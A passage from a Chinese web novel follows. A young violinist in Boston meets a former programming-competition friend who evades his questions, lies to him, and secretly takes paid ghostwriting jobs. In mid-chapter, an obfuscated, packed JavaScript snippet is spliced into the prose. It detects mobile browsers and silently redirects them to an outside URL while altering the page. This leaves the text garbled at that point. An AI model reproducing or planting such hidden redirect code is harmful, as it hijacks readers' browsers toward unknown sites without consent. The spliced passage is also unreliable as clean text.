顾梓聿听着,面上带着恰到好处的惊讶和好奇,仿佛真的第一次听说这些。但他心里却在想:这个女生真的不是浪得虚名之辈,她有自己观点,支撑观点的事例信手拈来。对国际政事有如此广泛而深刻的了解,恐怕有很多成年人都不及她。 “日光之下无新事,所以,”陈思远意味深长地说,“一个威权主义政权在遇到问题时,通过威胁别的国家来解决问题,也不是完全不可能。” “哇,你懂得好多啊。”顾梓聿在她说完之后,沉默了一会儿,才由衷说道,“你真的很适合参加模联啊。我听着虽然是一知半解的,但总觉得学到了蛮多东西。你能不能给我推荐几本书呢?我也想像你这样,有自己的思辨能力。” 陈思远本来说得很兴奋,这一听,脸色微妙地变了一下。她一下就意识到,眼前这个男孩,可能根本没真正听懂她话里的潜台词,甚至觉得有点扫兴——以为找到了一个知音,没想到却是绣花枕头一包草。 不过,虽然他这包的是草吧,外面这绣花枕头套是真好看。男孩干干净净的,眼睛明亮,唇红齿白,笑起来像一阵春风。她作为一位大了一岁的“老学姐”,也不免为小学弟的色相所惑,加上他刚才那不露声色拍的马屁,虽然还是有点对牛弹琴的郁闷,但还是耐心向他推荐了几本“特别有意思”的书。 “有些书是买不到的,我直接推电子版的资源给你吧。” 顾梓聿心里暗自咋舌:这里面有好些都是观点很“激进”,还有带有“蛊惑”性质的,三观未成熟的年轻人看了,很容易看待整个世界的方式都会变得偏激。他一边听着,那边赵奇正好叫到他的名字:“顾梓聿,带上身份证件过来登记!” “我来了!”他对陈思远一笑,声音温和自然,“那我先过去啦,学姐早点休息,明天见。” 他走得干脆利落,动作自然,没有任何多余停顿。可在他脑子里,这场谈话早已被分类归档——警惕、有趣,但不宜深交。 53.久别重逢 第二天,顾梓聿起了个大早,快速洗漱后喝了杯水,先拉了会儿音阶。 昨天路上太冷,毕竟小提琴是木头做的嘛,热胀冷缩,他担心万一音柱出了什么问题,按宋熙和说的,用羊绒围巾把琴包裹得严严实实,再塞进琴盒里,给琴保暖。果然今天琴拿出来的时候稍微调了调,音准就可以了。 拉音阶时他却走神了——说来也不能怪他,音阶枯燥,练久了很容易形成肌肉记忆,就好像背乘法口诀表,“三四十二”脱口而出,你不会真的去想“三个四”加起来是不是等于“十二”。 音阶练习的难点,就在于克服肌肉记忆,始终带着敏锐的自我觉察不断优化技巧:左手的独立性和右手的运弓稳定性,换把位时的准确快速、还有音准,这都是恒久的难题。弓、弦、音箱和振动,简单的几个元素却能变化出丰富浓郁的色彩,小提琴美丽音色的背后,是日耕不辍的练习和对自己的苛求。 但显然今天,顾梓聿对自己没那么苛刻。 他只练了一条降A大调音阶——你也不能说他没有追求,毕竟有四个降号呢!像姜明珺,她练音阶就喜欢练升号,升号符合直觉,一般也就两三个最多,她不喜欢自虐。 但你要说他有追求,也谈不上:音阶拉的粗糙,根本没在意每个音强度和长度是否均等,音准也就大差不差地混过去了;琶音两遍,三度六度双音音阶各两遍,最后一遍的时候一个小时的闹钟正好响起,他就顺势收了弓,毫无心理负担地把琴收起来。 今天就先这样吧。顾梓聿自欺欺人地想:不是我不想好好练,而是我有朋友要见呢! 顾梓聿利索地穿上外套,带上房卡下楼,在酒店对面的小面包店买了个金枪鱼三明治和一杯红浆果奶昔。他站在街口的寒风中,三两口把早餐吃完,就踩着冻得发硬的路面往前走。不远处就是圆形的黑色大“T”字牌——波城地铁站的标志。 他拾级而下,快步走进地铁口。 知道 HMUN 模联大会在波城举办之后,他就有了这个念头。方灵烨现在就在这座城市读书。他辗转从其他同学那里问到了对方学校的位置和联系方式。今天是星期五,方灵烨不出意外肯定还在学校上课的吧?他现在过去应该能碰上的吧?说不定还能一起吃个午饭? 顾梓聿完全没有考虑过,像他这样没有提前和对方打过招呼、约定时间,完全凭着一厢情愿的到访究竟能不能成功。 不,他知道贸然造访有多冒险,但内心深处怕被拒绝的恐惧完全抹杀了他提前联系方灵烨的打算。谁能不怕被拒绝呢?尤其是在他们经历过那么多事情之后。 也许顾梓聿的潜意识里已经选择了听天由命:如果运气好,就能见上面,运气不好没见上,就下次再说。这样一来,阻止他们俩见面的原因就是人力所无法掌控的客观的“时间不巧”,而不是因为主观上他俩之间的友谊走到了尽头。 他这种说难听点“优柔寡断”、“听天由命”的性格,也不知道是随了谁。 波城地铁的车厢很短,设施因年代久远而略显陈旧,一列车只有三节车厢,看起来很像是公共汽车。顾梓聿买了一张周票 ——摊下来比买单天的划算——就上了摇摇晃晃的地铁。 他搭的这条是红线,一站之后换乘绿线,然后还要搭个公交,其实也可以步行,十五分钟而已。 看起来不远。 顾梓聿下意识点开了方灵烨的社交账号,屏幕转了半天没有加载出来,他才后知后觉地发现地铁里信号不行,索性收起手机戴上耳机,播放起自己的练习录音。 其实,他再刷新也刷新不出什么花来:方灵烨的页面,已经很久没有更新过了。 他们自中考之后,就再没见过。 虽然彭昱中考过后也升入了本校的高中部,但他是属于完全放下课业,一心猫在竞赛组的,即便他俩同班,碰面的次数也少的可怜,更谈不上什么交流。顾梓聿实在心中有愧:若不是当时他退出了,去年的 NOI,彭昱无论如何都应该能拿一枚奖牌的。 至于傅尧,更是杳无音信。 他们曾经是那么铁的四人组啊。顾梓聿按了下车提示键,走在换乘的隧道里,心却不由得飘回了往昔。 他、傅尧、彭昱从小学就是同班,一起参加了八中的信息学竞赛组。下课后,三个小小的身影混在一群高个头的初中生里,在八中食堂排队打饭,格外显眼。 彭昱一向腼腆,被人多看一眼就局促不安;傅尧则气定神闲,完全不在意周围人好奇的目光,但他很挑食,每次站在打菜窗口前就一副大人模样地皱着眉头,选了半天最后选了个白菜豆腐。吃饭的时候他也挑剔得很,你看他吃的慢条斯理,多半是嫌米硬,要不就是嫌米湿。 顾梓聿对吃的倒是不挑,食堂的菜他也觉得挺好吃,上课太耗费脑力了,他每次下课肚子都咕咕叫,饿到头晕。风卷残云地扫完餐盘后,顾梓聿看着傅尧还在一颗米一颗米地挑着,盘子里还剩一大堆,悄悄地对彭昱使眼色:“太浪费了”。 傅尧听到了,但眼皮都没掀一下,没理他,照样我行我素,继续慢条斯理地一颗米一颗米地吃。 傅尧这人看起来好像脾气温和,其实很傲,有点像孔雀,生人勿进。不知道为什么,顾梓聿从小就有点怵他,除了做题有不同意见会争上一争,毕竟傅尧至少是一个分对错的人,但其他时候顾梓聿都下意识退让。傅尧身上仿佛有种与生俱来不容置疑的气场,明明都是年纪一般大的小萝卜丁,但他就好像是一群小家猫里乱入的一只小老虎,虽然牙还没长全,可是身上已经有了那种唬人的气味。 而方灵烨,是小升初那个暑假后加入的。 从第一天起,顾梓聿就意识到了,方灵烨在这上面的天分比他们都高得多,他非常聪明,思路非常清晰,任何问题,不管题面有多少种可能的方向,预设的条件有多误导人,方灵烨都能在看破一切迷雾后,最终锁定那个唯一正确的方向,他就好像有一种能提前预知正确答案的直觉,然后从答案开始往回倒推。 这绝对是一种超能力。顾梓聿自己的思路是很正统的:他见过的题型多,归纳总结后就能找到规律,然后把这些规律推而广之,由此,任何未知的问题都可以用几种已知的方法相互组合来解决。就像生产线,先生产出合乎标准的配件,再根据客户的要求,从中选取合适的配件组装在一起,得到最终的产品。 而这,也是大部分人的解题方法。 但方灵烨恰恰相反,他很神奇地,脑子里完全没有通用的方法论,而是针对每一道题,都想出一个为它度身定做的解题方案,在了解用户需求后从头开始,每一个配件都是唯一的、个性化的,这批配件彼此吻合,只能组装成一个特定的产品。而遇到其他客户时,方灵烨又会设计出另一条全新的生产线,生产出一套全新的配件。 因此,他的解法精妙绝伦,却不够稳定。竞赛有时间限制,有时他灵感一来势如破竹,有时他明明知道答案该长什么样,却推不回来。 方灵烨不仅脑子好用,人还特别有意思。他们第一次见面的时候,顾梓聿的脑海里就跳出一只调皮的猴子抓耳挠腮的形象。他从没跟别人讲过这个奇怪的比喻,只把这个脑洞放在心里,但每次看到方灵烨用那些跳脱又脱线的言行把傅尧噎得说不出话时,他总忍不住想笑,就好像看到不知天高地厚的小猴子去拨弄小老虎的胡须,在老虎发飙前飞也似地逃走一样,刺激又搞笑。 有了他在,队里就有了个活宝,大家打闹成一片,集训的时候,简直是想象不到的快乐。 顾梓聿走出暖气充足的地铁车厢,手机地图的语音导航在耳边响起,他在波城的寒风中行走,冷冽的空气被吸入鼻腔,被这寒意一激,很快他就鼻子一酸,眼前生理性地模糊起来: 他们曾经一起刷题、一起打球、一起玩“杀人游戏”的日子就这样一去不复返了,而当时豪言壮语说要拿团体金牌的宣言也恍若隔世。曾经的专业书、习题集他已经收到了书架最深处,而辅导老师宋美人送给他的《牧羊少年奇幻之旅》,他也不敢再翻开。 当初不讲义气先抛弃战友的人是他,现在他再回头,朋友还会停留在原处等他吗? 地图导航提示:“目的地即将到达。”?顾梓聿早上凭着一时冲动出发的勇气,到现在已经被消磨殆尽。他翻出通讯录里那个从未拨出的号码,一时间也不知道是什么心情。 伸头一刀,缩头也是一刀。 他闭着眼睛摁下了拨通键。 正在上课的方灵烨感觉到手机的振动,心下漏了一拍:除了来自妈妈的,他基本上很少会接到电话,毕竟在这里认识他的人不多。同学之间一般都是通过社交网络联系,而各种水、电、邮局、超市促销的通知不是通过短信就是邮箱。 此时这通电话响起,他第一时间想到的就是,是不是医院里的姐姐出了什么事?他向老师示意,得到准许后才着急忙慌地跑到教室外头,一看是一个陌生的号码。 “Hello, this is Lingye speaking.” 方灵烨自报家门,电话那头却只能听到车水马龙。 顾梓聿没想到居然第一次拨电话就通了,此刻还处在有点发蒙的阶段,直到听见方灵烨那边第二次“Hello”,才鼓足勇气说:“灵烨,是我,顾梓聿,我就在你学校门口。” 方灵烨听到这个曾经的“老大”的声音,实实在在地愣了一下:他已经有多久没和顾梓聿讲过话了?他刚才说他在哪儿?在他的学校门口? 他在波城? “你说你在哪儿?”方灵烨不信邪地再问了一遍。 “我在康拉德公立高中的校门口,这是你学校没错吧?”方灵烨没有挂掉他的电话,顾梓聿之前被冻僵的脑子也活络了一点,他甚至有心力开起了玩笑,“我来查你的岗,你没逃课吧?” “说什么鬼话,”方灵烨有气无力地吐槽了一句,“我还有十分钟下课,我记得学校门口有家咖啡店,你先进去找个位置坐坐,我下课了就出来找你。” “好,我在咖啡店等你,不见不散,你不来我不走…”听到方灵烨没拒绝他,顾梓聿的声音明显带着压不住的喜悦,还破天荒地耍起了嘴皮子。他甚至自己也没意识到,这句带着玩笑的“你不来我不走”,像极了他们当年约球时说的话。 电话那头,方灵烨发出了一个毫无意义的嘟哝声,含糊地不知道是认了,还是嫌他烦,然后就干脆利落地挂了电话。 顾梓聿兴冲冲地裹着风一头闯进咖啡店,浓郁的咖啡香气混着暖意向他迎面扑来,像一个热腾腾的拥抱。顾梓聿觉得整个人都沐浴在天堂的圣光之中,方灵烨那熟悉的声音把当年他们无忧无虑的快乐时光又重新带回到他眼前,顾梓聿只觉得现在通体舒泰,不管看到什么都好像带着幸福美好的滤镜,正冒着粉红色的泡泡。 他找了个靠窗的位置坐下,一眼就能望见康拉德的校门,也不看手机,就一手撑着下巴,隔着玻璃墙远远眺望着对面,等着那个熟悉的身影出来。康拉德公立高中看起来占地面积还可以,不算小,至少那正对着顾梓聿的一面红砖围墙还蛮长的,配上黑金色的护栏,带着点古典校园的书卷气。 街上的行人行色匆匆,天上慢慢飘下小小的雪花。方灵烨挂了电话回到课堂。没过十分钟,老师就宣布下课。方灵烨抓起自己的书包,直接一步窜出教室,往学校大门跑去。 顾梓聿看着一个人影从那长长的红砖围墙间冒了出来,虽然相隔远得看不清脸,可那单肩背包、走起路来拖着脚步的身影他实在是太熟悉了。 果然,下一秒他的手机就响了起来: “嗨,你在咖啡店里面吗?” “在,我就坐在正对着你们学校门口的那边,你一进门就能看到我了。” “OK。” 方灵烨挂断电话,顾梓聿看着他越走越近,携着一身雪推开门走了进来。 很快,他也注意到了顾梓聿,随即招了招手,顾梓聿也站起来挥了挥手。 算一算,他们也有大半年没见了。顾梓聿看着迎面走过来的方灵烨,下意识地把眼前这个人同记忆里的那个方灵烨快速对比了一番:之前的方灵烨瘦瘦高高,虽然时常站没站相、坐没坐相,走起路来大大咧咧地,但是眼睛永远都是很清澈很有神的。现在站在他面前的方灵烨,好像又长高了点,都快比他高半个头了,可整个人原来那股子懒散劲儿一扫而光,看起来比之前稳重成熟了。 如果说以前的他总是向上飘,现在的他就是往下沉,仿佛要把双脚扎根到地里去。 只不过,他那双从前看来过分灵动的眼睛,现在藏在眼镜后面,却有点死气沉沉的呆滞。说不上是疲惫还是倦怠,反正对上眼神的那一刻,顾梓聿就知道面前的这个男孩不是以前的那个方灵烨了。 “你…”顾梓聿有点不知道该说什么,“冷吗?身上都是雪。我去买点喝的,你先坐,想喝点什么?” “随便什么,来杯热的就行。”方灵烨也没客气,坐下来就开始埋头擦他的眼镜片——室内太暖和了,他的眼镜都起雾了。 顾梓聿答应着,走到柜台前,给方灵烨点了一杯冬季特饮的榛果拿铁,给自己点了杯热巧克力,不知为什么,此刻,他特别需要一些甜食来安抚自己的胃。 付了钱在一旁等候着,顾梓聿才慢慢开始想:他们待会要聊些什么? 之前没细想过这个问题,也是他鸵鸟个性发作,只愿意去记得那些好的回忆。在那些记忆里,他们之间从来不会冷场的,更遑论要找话题了。从来都是方灵烨负责叽叽喳喳,他负责适时地接上一句话,以便方灵烨接着叽叽喳喳。 而直到现在再次见面,顾梓聿才恍然想起,他记忆中最后一次看向方灵烨的眼睛,就是那次中考被当做“疑似作弊学生”后回头看到的,方灵烨那隐含了深意、带着责怪的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408345|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他端着热饮走回去的时候,看到方灵烨已经翻出手提电脑,低头双指翻飞地敲击着键盘。意识到他走过来,方灵烨没有收起电脑,只是把它往自己那边挪了挪,一边把屏幕压低了点,一边起身接过了自己的那杯。 “谢了老大。”熟悉的称呼脱口而出,顾梓聿和方灵烨都双双怔住了。顾梓聿眼神亮了亮,整个人都轻松了很多,方灵烨却垂下眼,沉默了,慢慢地喝着手中的拿铁,仿佛那句“老大”只是口误,是错位的情绪。 顾梓聿的出现确实让他高兴了一瞬,但那种高兴很快就被某种深埋的情绪盖住了。他不是不想见顾梓聿,而是——不知道该怎么面对他了。 他暗暗告诫自己,对如今的自己而言,友情是一种奢侈。他自己的未来都尚且隐匿在迷雾里,那么多的秘密,自己时时都像是踩在绷紧的钢丝上,生怕一个不小心就坠入深谷。 顾梓聿还活在他们曾经的语境里,而他,已经被迫快进到了另一个世界。他不想欺骗顾梓聿,也不想解释太多,因为那样就得掀开自己努力掩盖的一层层防线,而他实在没有多余的力气了。 最好还是和顾梓聿保持点距离,别害了人家。 顾梓聿抿了一口手中的热巧,舔了舔站在嘴边的泡沫,随便捡了一句问起:“在这里上课,还OK吗?跟国内比怎么样?” 原来这只是一句闲聊,毕竟学生嘛,第一句话不聊学业还能聊什么?但顾梓聿绝对不知道这句话直接就戳到了方灵烨最不想提的事。 第一个学期结束了,他的成绩并不如之前预期的那样好。校方以为是他的课程表安排得太紧了,暂时适应不过来,但只有他自己知道,他分心地太厉害了:妈妈语言不通,所以生活上的事、姐姐医院里的事都要靠他一个人;再加上他私底下给别人做枪手的事,为了赚钱,他能够花在学业上的时间就捉襟见肘了。 方灵烨这段时间靠匿名身份“Xander”,通过代写代码、论文和实验报告,换取酬劳。他的效率惊人,但接单越多,他的心理压力越大。 其实,他现在出来和顾梓聿喝这杯咖啡花的时间,不知道今晚又要怎么才能补得回来了。 “还行吧,就那样。”方灵烨淡淡应着。他想说“还行”两个字时,其实嗓子眼里堵着的是“挺糟”。但他不能讲出口。顾梓聿不懂他的生活,他也不打算让他懂。 顾梓聿听他的口气仿佛不想谈这事,也大概知道学业适应估计是不太容易,正绞尽脑汁想下一个话题呢,方灵烨先开口问道: “还没问你呢,你怎么到这儿来了?” “哦,我参加了学校的模联社团,然后这个星期 Harvard 大学举办了一个模联会议,我就跟着我们社团的学长学姐一起来了。” “模联啊。”方灵烨点点头,神色淡淡的。顾梓聿看着方灵烨了然的神色,就知道对方听说过“模联”这个概念,就没再多加解释。 方灵烨当然知道模联。他又低头喝了一口手中的拿铁,眼前一下子划过那几个白人男孩的脸,彬彬有礼中隐含着趾高气扬。作为迎新代表,他们带领他参观康拉德的时候表现得很热情友好,可转过头,就当着他的面,他们语速骤快,夹杂着一连串带刺的双关笑话。方灵烨也听不懂,还是旁边的人私下提醒他,他才明白,那些话根本不是在欢迎他,而是在取笑他。 “你不属于这里”的方式有很多种,有的写在眼神里,有的藏在字缝间。在这里,你的口音、你的爱好、甚至你背的书包品牌,都会被自动归类进某个无形的等级系统里。像他这种从学科竞赛里出来的公费生,在这里的归属感几乎为零。当然,别误会,能拿到名次是很厉害,但他只能是这里的边缘人。 在康拉德的生态中,参加学科竞赛、棋类社团、智力抢答、数学俱乐部之类的学生都会被认为是书呆子、不酷,都是没有魅力的人。大家拥护的是拉拉队长、或者是橄榄球员;移民后裔尤其是第二、三代华裔热衷于参加辩论社或古典乐团;而出身优越的白人男孩往往都会参加学生会、经济或商业类社团,以及两到三个体育社团;家境富裕的白人女孩们则热衷于参加马术训练或者高山滑雪。 模联历史悠久,这样名声好听的社团活动,消解了真正现实世界背景下国际外交的严肃复杂性,是一种不动声色地延续现实权力秩序的过家家酒式的角色扮演,使学生们能够成为“国际政局的参与者”,怎么能不吸引这群以“未来的统治阶级”自居的精英呢? 方灵烨看着顾梓聿,嘴角微微一挑,语气带着一点打趣,却也有点咄咄逼人:“你怎么也玩起这个来了?我还以为参加这个的都是家世豪奢、整天闲着没事干的少爷小姐们呢。” 顾梓聿听出来了,这句调侃不只是玩笑,还带着刺。他一时也不知道怎么接,想了想,只能顺着他的话笑笑:“怎么,现在才发现我是衔玉而生的宝二爷吗?” 方灵烨看着他,忽然有点懊悔自己的语气重了。他不是故意的,只是这阵子,心里像被卡着一根刺。他不是在怪顾梓聿,而是怪这个世界怎么能把人分得那么清楚——而他恰好,总站在分界线的外头。 “那你们什么时候正式开始会议啊?”他试图收一收情绪,换个轻松点的话题。 “今天下午就报道,所以我趁着这时候来见你一面,咱们说不定还能一起吃个午饭什么的,”顾梓聿觑着他的脸色,见他轻轻皱了皱眉,就改口道,“或者你要是待会儿有事的话,咱们坐一坐就行。” “嗯,”方灵烨没有说有空,也没有说没空,眼神转向窗外的街景,“你要是早点说你来,我就提前预约一下学校参观了。康拉德现在不让随便进了,要在我们官网上提早填表格申请。你临时来,咱们也进不去。” “那也没关系啊,”顾梓聿赶紧接话,“我那个会要开几天,之后也还在波城待着。你也知道,咱们不是有几个学长学姐在这儿的别的学校嘛,到时候正好都约一圈。我现在就可以预约啊,要提前几天?” 很明显地,方灵烨流露出迟疑的表情——他不像傅尧,对表情管理可谓是零经验,他的小心思早就泄露在脸上了。 方灵烨考虑到自己实在太忙,今天见面花的时间就已经不知道要怎么补了,何况下一次?他自己是连吃饭都数着数的,像现在这样悠闲的坐着聊天简直是在浪费生命、慢性自杀。可毕竟顾梓聿大老远地过来,他这话又怎么说得出口? “我记得好像要提前两个星期吧?现在约是来不及了。”方灵烨慢慢地说。 顾梓聿听得出来,那意思不是“你可以预约”,而是“我们不会预约”。 顾梓聿笑了笑,试图让自己看起来不那么尴尬,轻声应句:“那我下次提前说。” 手心里的热巧已经变凉,顾梓聿啜了一口,怎么腻味中带着一丝苦?他们之间的话题像是绕了一圈又回到原点——好像说了很多,又好像什么都没说,而他自己,却有一堆话憋在心里。 54.不如不见 顾梓聿忍住了无数个盘旋在脑中的疑问,紧紧盯着方灵烨的眼睛:曾经的灵动热忱,如今却像蒙了一层雾气,看不出真实的情绪,而那些无法言喻的默契、共同度过的日子,都变成了奢侈的回忆。他胡思乱想着:方灵烨恐怕只是碍于情面,不得不出来见他的吧。 顾梓聿攥着冰冷的杯子:“你跟傅尧,中考之后,还有联系过吗?” 提到傅尧的事,方灵烨原本微松的肩膀顿时又紧绷了起来,整个人像只警觉的刺猬,竖起了全身的刺。他迟疑了一瞬,眼神下意识飘开,低声道:“没有。” 迟疑虽然短暂,但足够致命。顾梓聿听得出来,他在撒谎。 他不动声色地继续问:“你知不知道,当时他为什么要那样做?我始终不肯相信他会作弊,这完全没道理啊?他成绩那么好,再说了,他……” 那句“他早就在保送名单里”,顾梓聿最终还是咽了回去。因为就在话要脱口而出的瞬间,他忽然想起傅尧和他一样完全没有预兆的退赛。这一头一尾联想起来,都透露着不对劲。 “…就算他真的考差了,也不至于连高中部的投档线都够不上吧?” 方灵烨低着头,唇线紧绷。他知道这一刻迟早会到来,他甚至在顾梓聿出现的第一秒就预感到了这场逼问。但关于傅尧的事,顾梓聿知道的越少越好。 有些事是不能回头的,可他害怕自己撑不住。他心底藏着太多不能说、也不敢说的秘密,那些泥沙俱下的真相,他一旦开口,就会崩塌。他已经撒过太多谎了,再开口,怕是救不回来。 “我也不知道,”方灵烨尽量让自己显得可信,“可能他想考得更好一点吧?你也知道他的个性,有点完美主义的那种,总是希望自己能做得更好。唉,也是他运气不好,被发现了。” 不对,他还是在撒谎。方灵烨一向不擅说谎,哪怕如今已经学会沉默,但他的语气,他回避的眼神,那些不自然的小动作,顾梓聿再熟悉不过了。 而且顾梓聿永远忘不了当时方灵烨那个眼神。那个知情者的眼神。 顾梓聿突然觉得有点烦躁。 他记得他们以前几乎无话不谈,默契得仿佛永远不会有间隙。但现在,他说的每一个字,似乎都碰到了方灵烨内心的某个防线。他想要知道真相,但方灵烨显然已经变了,变得令他无法触及了。 “你当时怎么想的出来读书的啊?你原来不是离开豆浆油条不能活、从来不喝牛奶、不吃面包的吗?小学的时候你不是还说,如果你将来当了教育部长,要废除外语这门必修课吗?我以为你是死不出国的那种。” 用着玩笑的语气,顾梓聿看着方灵烨,仿佛只是单纯的好奇,眼神却异常认真,眼底深处隐隐藏着一点小心翼翼的试探。 “嗨!”方灵烨努力让自己显得轻松,“这不是想着出来见见世面嘛。我是追梦来的,这儿可是凯尔特人的主场!羡慕我吧?下周就有一场比赛,凯尔特人对篮网,我现场票都买了!要是你在,咱们还能一起去看。” 方灵烨编着张口就来的瞎话,很高兴终于能把话题从傅尧身上转移开。他绞尽脑汁地想着免费小报上的凯尔特人比赛新闻,再把它们改头换面说成是自己在观众席上的亲身见闻,瞎话编多了,方灵烨真有种自己真的去了现场的恍惚感。 其实,他哪有这个钱、哪有这个时间? 撒谎,又在撒谎。顾梓聿看着假装兴奋的方灵烨,心慢慢发冷。那种像被冰水从头泼到脚的感觉让他连手指尖都麻了。 “是吗?好羡慕你啊,还能看现场!我最近都好久没看篮球比赛了,太忙,没时间。” 顾梓聿听见自己的声音响起,语气轻得像叹息,几乎听不出情绪。他的意识好像脱离了自己的躯壳,正飘到桌子上空,冷漠地俯瞰这坐着的虚与委蛇的两个人:是从什么时候起,朋友之间不能以诚相待、开诚布公的呢? 他们之间好像永远都差一句真话。 他的思绪回到方灵烨刚走进咖啡厅的那一刻,两人交谈的画面飞速快进,顾梓聿这才发现,方灵烨回答他的每一句话,不是撒谎,就是顾左右而言他。 心冷,不是因为被骗,而是明明知道对方在骗你,却还要装作没看见,甚至要帮他圆过去。 突然,方灵烨的电脑发出了短促的一声信息提示音,他立刻低头展开屏幕,“哎呀不好意思,我这里有个紧急邮件要回一下。” 顾梓聿看着方灵烨埋头在屏幕前敲击着键盘,又想到刚才他端咖啡过来的时候方灵烨也在用电脑——真的这么忙吗?还是,只是给了他一个可以随时抽身离开的借口? 原本想说的话,他已经说不出口了。 顾梓聿在心底悄悄地叹了一口气。他原先想着,自己不久之后也会来索伦读书。虽然说不准是纽城的茱莉亚,或是费城的柯蒂斯,但至少他们又在同一个国家求学了,可能成为彼此在异国他乡最亲近的依靠。可现在,他忽然明白了,有些事,讲了也没意义。那些热切的盼望,在一轮又一轮的敷衍中,早已变得苍白无力。 何必呢? 如果朋友势必要走散,何必还要苦苦拉着对方?如果路已然就要走到尽头,即使强求也还是会于事无补吧。 这样,倒不如坦然一点,大家就这样顺其自然走向自己想去的那个未来吧。 一生太长,而人总要长大,或是微笑或是哭泣,总会不得不舍弃一些东西,可能是喜欢但再也穿不下的球鞋,或者是懵懂时代对一个女生的默默爱恋,也可能是一个曾经朝夕相处无话不谈、现在却渐行渐远的朋友。 这样想着,顾梓聿默默地看着对面的方灵烨:他皱着眉,神情疲惫,似是在思考什么难题,时而又敲击键盘。回复邮件需要想这么久吗?不过这也不关他的事了。他安静地摸出手机,在搜索引擎里输入了“the Conrad Academy tour guide”,跳出来的第一条搜索结果就是康拉德官网的链接。 他点进去,飞快地扫过校园导览的注意事项,上面写着最少提前两天预约即可。 两天吗?他笑了笑,收起了手机。 过了好一会儿,方灵烨终于想起了自己对面还坐着一个顾梓聿,他抬起头,看着顾梓聿正温和地注视着自己,一时语塞,喉咙发紧:“对不起啊,我刚才…” “没事,”顾梓聿截断了他的话,他实在不想再从方灵烨嘴里听到哪怕一句谎话了,即使他们之间不再是朋友,他也不希望这最后一次见面充满了谎言,“理解,理解。” “感谢理解!”方灵烨几乎是下意识地说出口,眼泪都要出来了。 他刚才收到平台客服的回复,上次他提交的代码作业,客户投诉,说老师看了之后,给了个不及格。他不仅这一单的报酬收不到,还要倒贴赔款给平台,而他的账号等级也会受到惩罚被降级。奋斗了这么久,那些他熬夜熬出的任务、一步步从“新手”做到“高级”的努力,可能都要打水漂。 这怎么可能呢?他不服,火速去质询客户。 这活儿他做得足够好,这作业又不难,况且他给出的答案还是根据客户提供的、之前作业的那种水平来写的,既用了赘余的步骤来模仿客户的水平,算法的流程又足够清晰,赘余的步骤也无伤大雅。这种程度的作业,搁一般学校都能拿A,绝对是完美无缺毫无漏洞了,怎么会被判不及格? 跟客户掰扯了几个来回,对方蠢到被问出了实话,他这才搞明白缘由:原来这钱多无脑的白痴客户,收到作业后自己不检查一遍就直接提交,以至于老师上课问起时,他一窍不通,这就露了痕迹——作业里明明注释地头头是道,怎么上课时就像失忆了一样完全不懂了呢?老师又不傻,肯定猜得出他这作业不是自己做的,于是干脆地给了个不及格。 真相虽令人无语,但方灵烨总算可以松一口气。他迅速把聊天记录发给主管申诉,这才意识到顾梓聿还坐在对面。 “咱们走吧?我也是时候该回去了。”顾梓聿看了看手表,他不想再待下去了。来的时候他有多期待,现在他就有多想离开。 “午饭呢?午饭不一起吃了?”方灵烨想着顾梓聿好不容易来一趟,就呆了一会儿就走,心里有点过意不去,可这话一出口,他又后悔了:待会吃饭的时候肯定要聊天,万一顾梓聿又问了什么不好回答的问题,他是答还是不答呀?他怕自己一不小心就答错了话,不答,顾梓聿一定以为他在故意敷衍。 顾梓聿分明看到方灵烨眼中一闪而过的犹疑。 唉,灵烨,你真的不擅长说谎啊,你脸上写着太多东西了。 “不了,我这就走了,不然雪越下越大。”顾梓聿笑了笑,顾念着曾经的友谊,还是忍不住旁敲侧击了一句,“跟你分享一个小技巧,我们模联开会的时候,常常要和其他立场不同的代表磋商,这个时候我就会挂上一副扑克脸。” “就像这样,”他示范地绷了绷面部线条,像是戴上了一张毫无表情的石灰面具,“别人看不穿你的底牌,才能谈判成功。” “哦。”方灵烨不太明白他为什么突然说这个,但还是点点头。就在这时,顾梓聿走近一步,轻轻拥了他一下,拍拍他的肩膀,随即放开。 “兄弟,保重,再见!” “你也是,保重!” 方灵烨觉得这个道别正式得不像话,却也说不出哪里不对,想想也就释然了:毕竟顾梓聿没过多久又要回国,他们今后应该很难再见面了。 看着顾梓聿的背影渐渐隐入风雪,方灵烨终于松了一口气。他低头看到主管发来的短信:申诉通过,报酬照常到账,不再降级。 那位蠢得让人绝望的客户也发来新消息:因为不及格,这一科铁定挂了,他急吼吼地问方灵烨愿不愿意做线上辅导。 两个好消息同时砸来,方灵烨简直开心得不知道东西南北。这份喜悦又没人分享,他想了想,给顾梓聿发去了一条短信:“兄弟,今天见到你很开心,等下次有空,咱们好好聚一聚!” 顾梓聿正走在雪中,他没戴帽子,冰冷的雪落在他的耳朵上,冻得生疼。 看到这条消息,他嘴角微微翘起,像是在回应某个过去的自己。他回复了一条: “好啊,等下次!” 然后,就把发送这条信息的号码从通讯录里删掉了。 再见了,兄弟。 再见了,我的少年时代。 删掉方灵烨的号码就好像亲手抹去自己的一段过去、一部分记忆、一块人生拼图。 那不只是一个联系方式,那是他一段青春的全部注脚,是无数个夜晚共享的热血与迷茫,是他愿意相信友情可以穿越现实的最后一点天真。 这趟回程,比他预想的快得多,就像是时间被神之手按下了快进键,等到他走出地铁、站在入住的酒店门口时,他才意识到自己已经回来了。 “饿了。”他下意识地喃喃道。 雪已经停了,他走进不远处一家大型超市,顺着沙拉台、熟食区、速食区漫无目的地绕了一圈,还在一个摆满了韩式拉面的货架前站了一会儿。旁边经过的一个拉丁裔女孩看到他站在货架前一动不动,还以为他是被琳琅满目不同种类的口味给迷花了眼,热情地上前向他介绍哪一款最好吃。 顾梓聿温和但机械地点点头表示谢意,她说的话,他一句也没听进去。 好像从踏上回程的那一刻起,他的肉.体和他的灵魂就不在一个次元。他记不清这一路是怎么走回来的,跟早上出门时的自己判若两人。兴奋、期待、准备好的笑容,现在全都不见了。其实回程跟去的路一样长,可他已经失去了对时间的概念,他甚至忘了自己原本是为什么走进这个超市。 